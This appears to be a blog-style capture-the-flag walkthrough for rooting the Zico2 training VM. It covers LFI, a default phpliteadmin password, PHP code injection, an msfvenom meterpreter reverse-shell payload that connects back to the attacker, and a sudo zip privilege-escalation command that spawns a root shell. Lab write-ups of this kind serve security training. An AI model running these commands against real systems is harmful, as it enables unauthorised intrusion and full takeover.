Hack the Zico2 VM (CTF challenge)

Hello friends! Today we are going to take another CTF challenge known as Zico2. The credit for making this vm machine goes to “Rafael” and it is another boot2root challenge, where we have to root the system to complete the challenge. You can download this VM here.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at but you will have to find our own)


Use nmap for port enumeration.
Nmap –sV

We find port 80 is open, so we open this ip in our browser.

Browsing through the site we find that, this site is vulnerable to LFI.

We couldn’t find anything special here so we use dirb to find directories.

We found an interesting link called dbadmin. We open it in our browser.

We find another link; this link leads us to phpliteadmin login page.

We tried the password” admin”, and it granted us access.

We find that this version of phpliteadmin is vulnerable to php code injection.
So we create another database and named it shell.php we use this database to inject php code.

After we inject our code we use LFI to execute our shell. Here we can see that using ls command was executed when we execute our shell.

Now we create executable file using msfvenom.
msfvenom –p linux/x86/meterpreter/reverse_tcp lhost= lport=4444 –f elf > /root/Desktop/shell

We move it to /var/www/html/ and then setup our listener on metasploit.

We then use php code injection to upload our file to the server, make it executable, and execute the file.

We execute the file using LFI and get a reverse shell.

We use this password to login through ssh.

sudo –u root zip shell.zip shell.py –T –unzip-command=”sh –c /bin/bash”

After gaining root privilege we move to root folder. Inside the root folder we find a file called flag.txt when we open the file. We get greeted by a message congratulating for the completion of the challenge.


Post a Comment